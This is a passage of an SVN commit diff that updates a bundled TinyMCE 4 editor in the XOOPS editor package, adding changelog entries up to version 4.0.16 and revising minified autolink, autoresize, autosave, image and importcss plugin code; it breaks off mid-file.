ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/skins/lightgray/content.min.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/skins/lightgray/skin.ie7.min.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/skins/lightgray/skin.min.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/themes/modern/theme.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/tinymce.min.js
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/changelog.txt
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/changelog.txt 2014-02-07 21:20:20 UTC (rev 12292)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/changelog.txt 2014-02-10 01:29:21 UTC (rev 12293)
@@ -1,3 +1,51 @@
+Version 4.0.16 (2014-01-31)
+ Fixed bug where the editor wouldn't be properly rendered on IE 10 depending on the document.readyState.
+Version 4.0.15 (2014-01-31)
+ Fixed bug where paste in inline mode would produce an exception if the contents was pasted inside non overflow element.
+Version 4.0.14 (2014-01-30)
+ Fixed a bug in the image plugin where images couldn't be inserted if the image_advtab option wasn't set to true.
+Version 4.0.13 (2014-01-30)
+ Added language selection menu to spellchecker button similar to the 3.x functionality. Patch contributed by threebytesfull.
+ Added new style_formats_merge option that enables you to append to the default formats instead of replaceing them. Patch contributed by PacificMorrowind.
+ Fixed bug where the DOMUtils getPos API function didn't properly handle the location of the root element. Patch contributed by Andrew Ozz.
+ Fixed bug where the spellchecker wouldn't properly place the spellchecker suggestions menu. Patch contributed by Andrew Ozz.
+ Fixed bug where the tabfocus plugin would prevent the user from suing Ctrl+Tab, Patch contributed by Andrew Ozz.
+ Fixed bug where table resize handles could sometimes be added to elements out side the editable inline element.
+ Fixed bug where the inline mode editor UI would render incorrectly when the stylesheets didn't finish loading on Chrome.
+ Fixed bug where IE 8 would insert the image outside the editor unless it was focused first.
+ Fixed bug where older IE versions would throw an exception on drag/drop since they don't support modern dataTransfer API.
+ Fixed bug where the blockquote button text wasn't properly translated since it had the wrong English key.
+ Fixed bug where the importcss plugin didn't import a.class rules properly as selector formats.
+ Fixed bug where the combobox control couldn't be disabled or set to a specific character size initially.
+ Fixed bug where the FormItem didn't inherit the disabled state from the control to be wrapped.
+ Fixed bug where adding a TinyMCE instance within a TinyMCE dialog wouldn't properly delegate the events.
+ Fixed bug where any overflow parent containers would automatically scroll to the left when pasting in Chrome.
+ Fixed bug where IE could throw an error when search/replacing contents due to an invalid selection being returned.
+ Fixed bug where WebKit would fire focus/blur events incorrectly if the editor was empty due to a WebKit focus bug.
+ Fixed bug where WebKit/Blink would scroll to the top of editor if the height was more than the viewport height.
+ Fixed bug where blurring and removing the editor could cause an exteption to be thrown by the FocusManager.
+ Fixed bug where the media plugin would override specified dimensions for url pattern matches. Patch contributed by penc.
+ Fixed bug where the autoresize plugin wouldn't take margins into account when calculating the body size. Patch contributed by lepoltj.
+ Fixed bug where the image plugin would throw errors some times on IE 8 when it preloaded the image to get it's dimensions.
+ Fixed bug where the image plugin wouldn't update the style if the user closed the dialog before focusing out. Patch contributed by jonparrott.
+ Fixed bug where bindOnReady in EventUtils wouldn't work properly for some edge cases on older IE versions. Patch contributed by Godefroy.
+ Fixed bug where image selector formats wasn't properly handled by the importcss plugin.
+ Fixed bug where the dirty state of the editor wasn't set when editing an existing link URL.
+ Fixed bug where it wasn't possible to prevent paste from happening by blocking the default behavior when the paste plugin was enabled.
+ Fixed bug where text to display in the insert/edit link dialog wouldn't be properly entity encoded.
+ Fixed bug where Safari 7 on Mac OS X would delete contents if you pressed Cmd+C since it passes out a charCode for the event.
+ Fixed bug where bound drop events inside inline editors would get fired on all editor instances instead of the specific instance.
+ Fixed bug where images outlined selection border would be clipped when the autoresize plugin was enabled.
+ Fixed bug where image dimension constrains proportions wouldn't work properly if you altered a value and immediately clicked the submit button.
+ Fixed so you don't need to set language option to false when specifying a custom language_url.
+ Fixed so the link dialog "text to display" field gets automatically hidden if the selection isn't text contents. Patch contributed by Godefroy.
+ Fixed so the none option for the target field in the link dialog gets excluded when specifiying the target_list config option.
+ Fixed so outline styles are displayed by default in the formats preview. Patch contributed by nhammadi.
+ Fixed so the max characters for width/height is more than 3 in the media and image dialogs.
+ Fixed so the old mceSpellCheck command toggles the spellchecker on/off.
+ Fixed so the setupeditor event is fired before the setup callback setting to ease up compatibility with 3.x.
+ Fixed so auto url link creation in IE 9+ is disabled by default and re-enabled by the autolink plugin.
+ Removed the custom scrollbars for WebKit since the default browser scrollbars looks a lot better now days.
Version 4.0.12 (2013-12-18)
Added new media_scripts option to the media plugin. This makes it possible to embed videos using script elements.
Fixed bug where WebKit/Blink would produce random span elements and styles when deleting contents inside the editor.
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autolink/plugin.min.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autolink/plugin.min.js 2014-02-07 21:20:20 UTC (rev 12292)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autolink/plugin.min.js 2014-02-10 01:29:21 UTC (rev 12293)
@@ -1 +1 @@
-tinymce.PluginManager.add("autolink",function(t){function e(t){o(t,-1,"(",!0)}function n(t){o(t,0,"",!0)}function i(t){o(t,-1,"",!1)}function o(t,e,n){var i,o,r,a,s,l,c,u,d;if(i=t.selection.getRng(!0).cloneRange(),i.startOffset<5){if(u=i.endContainer.previousSibling,!u){if(!i.endContainer.firstChild||!i.endContainer.firstChild.nextSibling)return;u=i.endContainer.firstChild.nextSibling}if(d=u.length,i.setStart(u,d),i.setEnd(u,d),i.endOffset<5)return;o=i.endOffset,a=u}else{if(a=i.endContainer,3!=a.nodeType&&a.firstChild){for(;3!=a.nodeType&&a.firstChild;)a=a.firstChild;3==a.nodeType&&(i.setStart(a,0),i.setEnd(a,a.nodeValue.length))}o=1==i.endOffset?2:i.endOffset-1-e}r=o;do i.setStart(a,o>=2?o-2:0),i.setEnd(a,o>=1?o-1:0),o-=1;while(" "!=i.toString()&&""!==i.toString()&&160!=i.toString().charCodeAt(0)&&o-2>=0&&i.toString()!=n);if(i.toString()==n||160==i.toString().charCodeAt(0)?(i.setStart(a,o),i.setEnd(a,r),o+=1):0===i.startOffset?(i.setStart(a,0),i.setEnd(a,r)):(i.setStart(a,o),i.setEnd(a,r)),l=i.toString(),"."==l.charAt(l.length-1)&&i.setEnd(a,r-1),l=i.toString(),c=l.match(/^(https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.|(?:mailto:)?[A-Z0-9._%+\-]+@)(.+)$/i),c&&("www."==c[1]?c[1]="http://www.":/@$/.test(c[1])&&!/^mailto:/.test(c[1])&&(c[1]="mailto:"+c[1]),s=t.selection.getBookmark(),t.selection.setRng(i),t.execCommand("createlink",!1,c[1]+c[2]),t.selection.moveToBookmark(s),t.nodeChanged(),tinymce.Env.webkit)){t.selection.collapse(!1);var m=Math.min(a.length,r+1);i.setStart(a,m),i.setEnd(a,m),t.selection.setRng(i)}}t.on("keydown",function(e){return 13==e.keyCode?i(t):void 0}),tinymce.Env.ie||(t.on("keypress",function(n){return 41==n.which?e(t):void 0}),t.on("keyup",function(e){return 32==e.keyCode?n(t):void 0}))});
\ No newline at end of file
+tinymce.PluginManager.add("autolink",function(t){function e(t){o(t,-1,"(",!0)}function n(t){o(t,0,"",!0)}function i(t){o(t,-1,"",!1)}function o(t,e,n){var i,o,r,s,d,a,f,l,c;if(i=t.selection.getRng(!0).cloneRange(),i.startOffset<5){if(l=i.endContainer.previousSibling,!l){if(!i.endContainer.firstChild||!i.endContainer.firstChild.nextSibling)return;l=i.endContainer.firstChild.nextSibling}if(c=l.length,i.setStart(l,c),i.setEnd(l,c),i.endOffset<5)return;o=i.endOffset,s=l}else{if(s=i.endContainer,3!=s.nodeType&&s.firstChild){for(;3!=s.nodeType&&s.firstChild;)s=s.firstChild;3==s.nodeType&&(i.setStart(s,0),i.setEnd(s,s.nodeValue.length))}o=1==i.endOffset?2:i.endOffset-1-e}r=o;do i.setStart(s,o>=2?o-2:0),i.setEnd(s,o>=1?o-1:0),o-=1;while(" "!=i.toString()&&""!==i.toString()&&160!=i.toString().charCodeAt(0)&&o-2>=0&&i.toString()!=n);if(i.toString()==n||160==i.toString().charCodeAt(0)?(i.setStart(s,o),i.setEnd(s,r),o+=1):0===i.startOffset?(i.setStart(s,0),i.setEnd(s,r)):(i.setStart(s,o),i.setEnd(s,r)),a=i.toString(),"."==a.charAt(a.length-1)&&i.setEnd(s,r-1),a=i.toString(),f=a.match(/^(https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.|(?:mailto:)?[A-Z0-9._%+\-]+@)(.+)$/i),f&&("www."==f[1]?f[1]="http://www.":/@$/.test(f[1])&&!/^mailto:/.test(f[1])&&(f[1]="mailto:"+f[1]),d=t.selection.getBookmark(),t.selection.setRng(i),t.execCommand("createlink",!1,f[1]+f[2]),t.selection.moveToBookmark(d),t.nodeChanged(),tinymce.Env.webkit)){t.selection.collapse(!1);var g=Math.min(s.length,r+1);i.setStart(s,g),i.setEnd(s,g),t.selection.setRng(i)}}return t.on("keydown",function(e){return 13==e.keyCode?i(t):void 0}),tinymce.Env.ie?void t.on("init",function(){try{t.execCommand("AutoUrlDetect",!1,!0)}catch(e){}}):(t.on("keypress",function(n){return 41==n.which?e(t):void 0}),void t.on("keyup",function(e){return 32==e.keyCode?n(t):void 0}))});
\ No newline at end of file
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autoresize/plugin.min.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autoresize/plugin.min.js 2014-02-07 21:20:20 UTC (rev 12292)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autoresize/plugin.min.js 2014-02-10 01:29:21 UTC (rev 12293)
@@ -1 +1 @@
-tinymce.PluginManager.add("autoresize",function(e){function t(i){var a,s,r=e.getDoc(),g=r.body,u=r.documentElement,m=tinymce.DOM,l=n.autoresize_min_height;"setcontent"==i.type&&i.initial||e.plugins.fullscreen&&e.plugins.fullscreen.isFullscreen()||(s=tinymce.Env.ie?g.scrollHeight:tinymce.Env.webkit&&0===g.clientHeight?0:g.offsetHeight,s>n.autoresize_min_height&&(l=s),n.autoresize_max_height&&s>n.autoresize_max_height?(l=n.autoresize_max_height,g.style.overflowY="auto",u.style.overflowY="auto"):(g.style.overflowY="hidden",u.style.overflowY="hidden",g.scrollTop=0),l!==o&&(a=l-o,m.setStyle(m.get(e.id+"_ifr"),"height",l+"px"),o=l,tinymce.isWebKit&&0>a&&t(i)))}function i(e,n,o){setTimeout(function(){t({}),e--?i(e,n,o):o&&o()},n)}var n=e.settings,o=0;e.settings.inline||(n.autoresize_min_height=parseInt(e.getParam("autoresize_min_height",e.getElement().offsetHeight),10),n.autoresize_max_height=parseInt(e.getParam("autoresize_max_height",0),10),e.on("init",function(){e.dom.setStyle(e.getBody(),"paddingBottom",e.getParam("autoresize_bottom_margin",50)+"px")}),e.on("change setcontent paste keyup",t),e.getParam("autoresize_on_init",!0)&&e.on("init",function(){i(20,100,function(){i(5,1e3)})}),e.addCommand("mceAutoResize",t))});
\ No newline at end of file
+tinymce.PluginManager.add("autoresize",function(e){function t(i){var a,s,g,r,m=e.getDoc(),u=m.body,l=m.documentElement,h=tinymce.DOM,_=n.autoresize_min_height;!u||!i||"setcontent"===i.type&&i.initial||e.plugins.fullscreen&&e.plugins.fullscreen.isFullscreen()||(g=e.dom.getStyle(u,"margin-top",!0),r=e.dom.getStyle(u,"margin-bottom",!0),s=u.offsetHeight+parseInt(g,10)+parseInt(r,10),(isNaN(s)||0>=s)&&(s=tinymce.Env.ie?u.scrollHeight:tinymce.Env.webkit&&0===u.clientHeight?0:u.offsetHeight),s>n.autoresize_min_height&&(_=s),n.autoresize_max_height&&s>n.autoresize_max_height?(_=n.autoresize_max_height,u.style.overflowY="auto",l.style.overflowY="auto"):(u.style.overflowY="hidden",l.style.overflowY="hidden",u.scrollTop=0),_!==o&&(a=_-o,h.setStyle(h.get(e.id+"_ifr"),"height",_+"px"),o=_,tinymce.isWebKit&&0>a&&t(i)))}function i(e,n,o){setTimeout(function(){t({}),e--?i(e,n,o):o&&o()},n)}var n=e.settings,o=0;e.settings.inline||(n.autoresize_min_height=parseInt(e.getParam("autoresize_min_height",e.getElement().offsetHeight),10),n.autoresize_max_height=parseInt(e.getParam("autoresize_max_height",0),10),e.on("init",function(){var t=e.getParam("autoresize_overflow_padding",1);e.dom.setStyles(e.getBody(),{paddingBottom:e.getParam("autoresize_bottom_margin",50),paddingLeft:t,paddingRight:t})}),e.on("change setcontent paste keyup",t),e.getParam("autoresize_on_init",!0)&&e.on("init",function(){i(20,100,function(){i(5,1e3)})}),e.addCommand("mceAutoResize",t))});
\ No newline at end of file
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autosave/plugin.min.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autosave/plugin.min.js 2014-02-07 21:20:20 UTC (rev 12292)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/autosave/plugin.min.js 2014-02-10 01:29:21 UTC (rev 12293)
@@ -1 +1 @@
-tinymce.PluginManager.add("autosave",function(e){function t(e,t){var n={s:1e3,m:6e4};return e=/^(\d+)([ms]?)$/.exec(""+(e||t)),(e[2]?n[e[2]]:1)*parseInt(e,10)}function n(){var e=parseInt(l.getItem(d+"time"),10)||0;return(new Date).getTime()-e>v.autosave_retention?(a(!1),!1):!0}function a(t){l.removeItem(d+"draft"),l.removeItem(d+"time"),t!==!1&&e.fire("RemoveDraft")}function r(){c()||(l.setItem(d+"draft",e.getContent({format:"raw",no_events:!0})),l.setItem(d+"time",(new Date).getTime()),e.fire("StoreDraft"))}function o(){n()&&(e.setContent(l.getItem(d+"draft"),{format:"raw"}),e.fire("RestoreDraft"))}function i(){m||(setInterval(function(){e.removed||r()},v.autosave_interval),m=!0)}function s(){var t=this;t.disabled(!n()),e.on("StoreDraft RestoreDraft RemoveDraft",function(){t.disabled(!n())}),i()}function u(){e.undoManager.beforeChange(),o(),a(),e.undoManager.add()}function f(){var e;return tinymce.each(tinymce.editors,function(t){t.plugins.autosave&&t.plugins.autosave.storeDraft(),!e&&t.isDirty()&&t.getParam("autosave_ask_before_unload",!0)&&(e=t.translate("You have unsaved changes are you sure you want to navigate away?"))}),e}function c(t){var n=e.settings.forced_root_block;return t=tinymce.trim("undefined"==typeof t?e.getBody().innerHTML:t),""===t||new RegExp("^<"+n+"[^>]*>(( | |[ ]|<br[^>]*>)+?|)</"+n+">|<br>$","i").test(t)}var d,m,v=e.settings,l=tinymce.util.LocalStorage;d=v.autosave_prefix||"tinymce-autosave-{path}{query}-{id}-",d=d.replace(/\{path\}/g,document.location.pathname),d=d.replace(/\{query\}/g,document.location.search),d=d.replace(/\{id\}/g,e.id),v.autosave_interval=t(v.autosave_interval,"30s"),v.autosave_retention=t(v.autosave_retention,"20m"),e.addButton("restoredraft",{title:"Restore last draft",onclick:u,onPostRender:s}),e.addMenuItem("restoredraft",{text:"Restore last draft",onclick:u,onPostRender:s,context:"file"}),e.settings.autosave_restore_when_empty!==!1&&(e.on("init",function(){n()&&c()&&o()}),e.on("saveContent",function(){a()})),window.onbeforeunload=f,this.hasDraft=n,this.storeDraft=r,this.restoreDraft=o,this.removeDraft=a,this.isEmpty=c});
\ No newline at end of file
+tinymce.PluginManager.add("autosave",function(e){function t(e,t){var n={s:1e3,m:6e4};return e=/^(\d+)([ms]?)$/.exec(""+(e||t)),(e[2]?n[e[2]]:1)*parseInt(e,10)}function n(){var e=parseInt(l.getItem(d+"time"),10)||0;return(new Date).getTime()-e>v.autosave_retention?(a(!1),!1):!0}function a(t){l.removeItem(d+"draft"),l.removeItem(d+"time"),t!==!1&&e.fire("RemoveDraft")}function r(){!c()&&e.isDirty()&&(l.setItem(d+"draft",e.getContent({format:"raw",no_events:!0})),l.setItem(d+"time",(new Date).getTime()),e.fire("StoreDraft"))}function o(){n()&&(e.setContent(l.getItem(d+"draft"),{format:"raw"}),e.fire("RestoreDraft"))}function i(){m||(setInterval(function(){e.removed||r()},v.autosave_interval),m=!0)}function s(){var t=this;t.disabled(!n()),e.on("StoreDraft RestoreDraft RemoveDraft",function(){t.disabled(!n())}),i()}function u(){e.undoManager.beforeChange(),o(),a(),e.undoManager.add()}function f(){var e;return tinymce.each(tinymce.editors,function(t){t.plugins.autosave&&t.plugins.autosave.storeDraft(),!e&&t.isDirty()&&t.getParam("autosave_ask_before_unload",!0)&&(e=t.translate("You have unsaved changes are you sure you want to navigate away?"))}),e}function c(t){var n=e.settings.forced_root_block;return t=tinymce.trim("undefined"==typeof t?e.getBody().innerHTML:t),""===t||new RegExp("^<"+n+"[^>]*>(( | |[ ]|<br[^>]*>)+?|)</"+n+">|<br>$","i").test(t)}var d,m,v=e.settings,l=tinymce.util.LocalStorage;d=v.autosave_prefix||"tinymce-autosave-{path}{query}-{id}-",d=d.replace(/\{path\}/g,document.location.pathname),d=d.replace(/\{query\}/g,document.location.search),d=d.replace(/\{id\}/g,e.id),v.autosave_interval=t(v.autosave_interval,"30s"),v.autosave_retention=t(v.autosave_retention,"20m"),e.addButton("restoredraft",{title:"Restore last draft",onclick:u,onPostRender:s}),e.addMenuItem("restoredraft",{text:"Restore last draft",onclick:u,onPostRender:s,context:"file"}),e.settings.autosave_restore_when_empty!==!1&&(e.on("init",function(){n()&&c()&&o()}),e.on("saveContent",function(){a()})),window.onbeforeunload=f,this.hasDraft=n,this.storeDraft=r,this.restoreDraft=o,this.removeDraft=a,this.isEmpty=c});
\ No newline at end of file
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/image/plugin.min.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/image/plugin.min.js 2014-02-07 21:20:20 UTC (rev 12292)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/image/plugin.min.js 2014-02-10 01:29:21 UTC (rev 12293)
@@ -1 +1 @@
-tinymce.PluginManager.add("image",function(e){function t(e,t){function n(e,n){i.parentNode.removeChild(i),t({width:e,height:n})}var i=document.createElement("img");i.onload=function(){n(i.clientWidth,i.clientHeight)},i.onerror=function(){n()},i.src=e;var a=i.style;a.visibility="hidden",a.position="fixed",a.bottom=a.left=0,a.width=a.height="auto",document.body.appendChild(i)}function n(t){return function(){var n=e.settings.image_list;"string"==typeof n?tinymce.util.XHR.send({url:n,success:function(e){t(tinymce.util.JSON.parse(e))}}):t(n)}}function i(n){function i(){var t=[{text:"None",value:""}];return tinymce.each(n,function(n){t.push({text:n.text||n.title,value:e.convertURL(n.value||n.url,"src"),menu:n.menu})}),t}function a(e){var t,n,i,a;t=s.find("#width")[0],n=s.find("#height")[0],i=t.value(),a=n.value(),s.find("#constrain")[0].checked()&&d&&u&&i&&a&&(e.control==t?(a=Math.round(i/d*a),n.value(a)):(i=Math.round(a/u*i),t.value(i))),d=i,u=a}function o(){function t(t){function i(){t.onload=t.onerror=null,e.selection.select(t),e.nodeChanged()}t.onload=function(){n.width||n.height||m.setAttribs(t,{width:t.clientWidth,height:t.clientHeight}),i()},t.onerror=i}var n=s.toJSON();""===n.width&&(n.width=null),""===n.height&&(n.height=null),""===n.style&&(n.style=null),n={src:n.src,alt:n.alt,width:n.width,height:n.height,style:n.style},e.undoManager.transact(function(){return n.src?(p?m.setAttribs(p,n):(n.id="__mcenew",e.selection.setContent(m.createHTML("img",n)),p=m.get("__mcenew"),m.setAttrib(p,"id",null)),t(p),void 0):(p&&(m.remove(p),e.nodeChanged()),void 0)})}function l(e){return e&&(e=e.replace(/px$/,"")),e}function r(){h&&h.value(e.convertURL(this.value(),"src")),t(this.value(),function(e){e.width&&e.height&&(d=e.width,u=e.height,s.find("#width").value(d),s.find("#height").value(u))})}function c(){function e(e){return e.length>0&&/^[0-9]+$/.test(e)&&(e+="px"),e}var t=s.toJSON(),n=m.parseStyle(t.style);delete n.margin,n["margin-top"]=n["margin-bottom"]=e(t.vspace),n["margin-left"]=n["margin-right"]=e(t.hspace),n["border-width"]=e(t.border),s.find("#style").value(m.serializeStyle(m.parseStyle(m.serializeStyle(n))))}var s,d,u,h,g={},m=e.dom,p=e.selection.getNode();d=m.getAttrib(p,"width"),u=m.getAttrib(p,"height"),"IMG"!=p.nodeName||p.getAttribute("data-mce-object")||p.getAttribute("data-mce-placeholder")?p=null:g={src:m.getAttrib(p,"src"),alt:m.getAttrib(p,"alt"),width:d,height:u},n&&(h={type:"listbox",label:"Image list",values:i(),value:g.src&&e.convertURL(g.src,"src"),onselect:function(e){var t=s.find("#alt");(!t.value()||e.lastControl&&t.value()==e.lastControl.text())&&t.value(e.control.text()),s.find("#src").value(e.control.value())},onPostRender:function(){h=this}});var y=[{name:"src",type:"filepicker",filetype:"image",label:"Source",autofocus:!0,onchange:r},h,{name:"alt",type:"textbox",label:"Image description"},{type:"container",label:"Dimensions",layout:"flex",direction:"row",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:3,size:3,onchange:a},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:3,size:3,onchange:a},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}];e.settings.image_advtab?(p&&(g.hspace=l(p.style.marginLeft||p.style.marginRight),g.vspace=l(p.style.marginTop||p.style.marginBottom),g.border=l(p.style.borderWidth),g.style=e.dom.serializeStyle(e.dom.parseStyle(e.dom.getAttrib(p,"style")))),s=e.windowManager.open({title:"Insert/edit image",data:g,bodyType:"tabpanel",body:[{title:"General",type:"form",items:y},{title:"Advanced",type:"form",pack:"start",items:[{label:"Style",name:"style",type:"textbox"},{type:"form",layout:"grid",packV:"start",columns:2,padding:0,alignH:["left","right"],defaults:{type:"textbox",maxWidth:50,onchange:c},items:[{label:"Vertical space",name:"vspace"},{label:"Horizontal space",name:"hspace"},{label:"Border",name:"border"}]}]}],onSubmit:o})):s=e.windowManager.open({title:"Insert/edit image",data:g,body:y,onSubmit:o})}e.addButton("image",{icon:"image",tooltip:"Insert/edit image",onclick:n(i),stateSelector:"img:not([data-mce-object],[data-mce-placeholder])"}),e.addMenuItem("image",{icon:"image",text:"Insert image",onclick:n(i),context:"insert",prependToContext:!0})});
\ No newline at end of file
+tinymce.PluginManager.add("image",function(e){function t(e,t){function n(e,n){i.parentNode&&i.parentNode.removeChild(i),t({width:e,height:n})}var i=document.createElement("img");i.onload=function(){n(i.clientWidth,i.clientHeight)},i.onerror=function(){n()};var a=i.style;a.visibility="hidden",a.position="fixed",a.bottom=a.left=0,a.width=a.height="auto",document.body.appendChild(i),i.src=e}function n(t){return function(){var n=e.settings.image_list;"string"==typeof n?tinymce.util.XHR.send({url:n,success:function(e){t(tinymce.util.JSON.parse(e))}}):t(n)}}function i(n){function i(){var t=[{text:"None",value:""}];return tinymce.each(n,function(n){t.push({text:n.text||n.title,value:e.convertURL(n.value||n.url,"src"),menu:n.menu})}),t}function a(){var e,t,n,i;e=s.find("#width")[0],t=s.find("#height")[0],n=e.value(),i=t.value(),s.find("#constrain")[0].checked()&&d&&u&&n&&i&&(d!=n?(i=Math.round(n/d*i),t.value(i)):(n=Math.round(i/u*n),e.value(n))),d=n,u=i}function o(){function t(t){function i(){t.onload=t.onerror=null,e.selection.select(t),e.nodeChanged()}t.onload=function(){n.width||n.height||m.setAttribs(t,{width:t.clientWidth,height:t.clientHeight}),i()},t.onerror=i}c(),a();var n=s.toJSON();""===n.width&&(n.width=null),""===n.height&&(n.height=null),""===n.style&&(n.style=null),n={src:n.src,alt:n.alt,width:n.width,height:n.height,style:n.style},e.undoManager.transact(function(){return n.src?(p?m.setAttribs(p,n):(n.id="__mcenew",e.focus(),e.selection.setContent(m.createHTML("img",n)),p=m.get("__mcenew"),m.setAttrib(p,"id",null)),void t(p)):void(p&&(m.remove(p),e.nodeChanged()))})}function l(e){return e&&(e=e.replace(/px$/,"")),e}function r(){h&&h.value(e.convertURL(this.value(),"src")),t(this.value(),function(e){e.width&&e.height&&(d=e.width,u=e.height,s.find("#width").value(d),s.find("#height").value(u))})}function c(){function t(e){return e.length>0&&/^[0-9]+$/.test(e)&&(e+="px"),e}if(e.settings.image_advtab){var n=s.toJSON(),i=m.parseStyle(n.style);delete i.margin,i["margin-top"]=i["margin-bottom"]=t(n.vspace),i["margin-left"]=i["margin-right"]=t(n.hspace),i["border-width"]=t(n.border),s.find("#style").value(m.serializeStyle(m.parseStyle(m.serializeStyle(i))))}}var s,d,u,h,g={},m=e.dom,p=e.selection.getNode();d=m.getAttrib(p,"width"),u=m.getAttrib(p,"height"),"IMG"!=p.nodeName||p.getAttribute("data-mce-object")||p.getAttribute("data-mce-placeholder")?p=null:g={src:m.getAttrib(p,"src"),alt:m.getAttrib(p,"alt"),width:d,height:u},n&&(h={type:"listbox",label:"Image list",values:i(),value:g.src&&e.convertURL(g.src,"src"),onselect:function(e){var t=s.find("#alt");(!t.value()||e.lastControl&&t.value()==e.lastControl.text())&&t.value(e.control.text()),s.find("#src").value(e.control.value())},onPostRender:function(){h=this}});var y=[{name:"src",type:"filepicker",filetype:"image",label:"Source",autofocus:!0,onchange:r},h,{name:"alt",type:"textbox",label:"Image description"},{type:"container",label:"Dimensions",layout:"flex",direction:"row",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:3,onchange:a},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:3,onchange:a},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}];e.settings.image_advtab?(p&&(g.hspace=l(p.style.marginLeft||p.style.marginRight),g.vspace=l(p.style.marginTop||p.style.marginBottom),g.border=l(p.style.borderWidth),g.style=e.dom.serializeStyle(e.dom.parseStyle(e.dom.getAttrib(p,"style")))),s=e.windowManager.open({title:"Insert/edit image",data:g,bodyType:"tabpanel",body:[{title:"General",type:"form",items:y},{title:"Advanced",type:"form",pack:"start",items:[{label:"Style",name:"style",type:"textbox"},{type:"form",layout:"grid",packV:"start",columns:2,padding:0,alignH:["left","right"],defaults:{type:"textbox",maxWidth:50,onchange:c},items:[{label:"Vertical space",name:"vspace"},{label:"Horizontal space",name:"hspace"},{label:"Border",name:"border"}]}]}],onSubmit:o})):s=e.windowManager.open({title:"Insert/edit image",data:g,body:y,onSubmit:o})}e.addButton("image",{icon:"image",tooltip:"Insert/edit image",onclick:n(i),stateSelector:"img:not([data-mce-object],[data-mce-placeholder])"}),e.addMenuItem("image",{icon:"image",text:"Insert image",onclick:n(i),context:"insert",prependToContext:!0})});
\ No newline at end of file
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/importcss/plugin.min.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/importcss/plugin.min.js 2014-02-07 21:20:20 UTC (rev 12292)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/importcss/plugin.min.js 2014-02-10 01:29:21 UTC (rev 12293)
@@ -1 +1 @@
-tinymce.PluginManager.add("importcss",function(t){function e(t){return"string"==typeof t?function(e){return-1!==e.indexOf(t)}:t instanceof RegExp?function(e){return t.test(e)}:t}function n(e,n){function i(t,e){var o,l=t.href;if((e||c[l])&&(!n||n(l))){s(t.imports,function(t){i(t,!0)});try{o=t.cssRules||t.rules}catch(a){}s(o,function(t){t.styleSheet?i(t.styleSheet,!0):t.selectorText&&s(t.selectorText.split(","),function(t){r.push(tinymce.trim(t))})})}}var r=[],c={};s(t.contentCSS,function(t){c[t]=!0});try{s(e.styleSheets,function(t){i(t)})}catch(o){}return r}function i(e){var n,i=/^(?:([a-z0-9\-_]+))?(\.[a-z0-9_\-\.]+)$/i.exec(e);if(i){var r=i[1],s=i[2].substr(1).split(".").join(" ");return i[1]?(n={title:e},t.schema.getTextBlockElements()[r]?n.block=r:t.schema.getBlockElements()[r]?n.selector=r:n.inline=r):i[2]&&(n={inline:"span",title:e.substr(1),classes:s}),t.settings.importcss_merge_classes!==!1?n.classes=s:n.attributes={"class":s},n}}var r=this,s=tinymce.each;t.on("renderFormatsMenu",function(c){var o=t.settings,l={},a=o.importcss_selector_converter||i,f=e(o.importcss_selector_filter);t.settings.importcss_append||t.settings.style_formats||c.control.items().remove();var m=[];tinymce.each(o.importcss_groups,function(t){t=tinymce.extend({},t),t.filter=e(t.filter),m.push(t)}),s(n(t.getDoc(),e(o.importcss_file_filter)),function(e){if(-1===e.indexOf(".mce-")&&!l[e]&&(!f||f(e))){var n,i=a.call(r,e);if(i){var s=i.name||tinymce.DOM.uniqueId();if(m)for(var 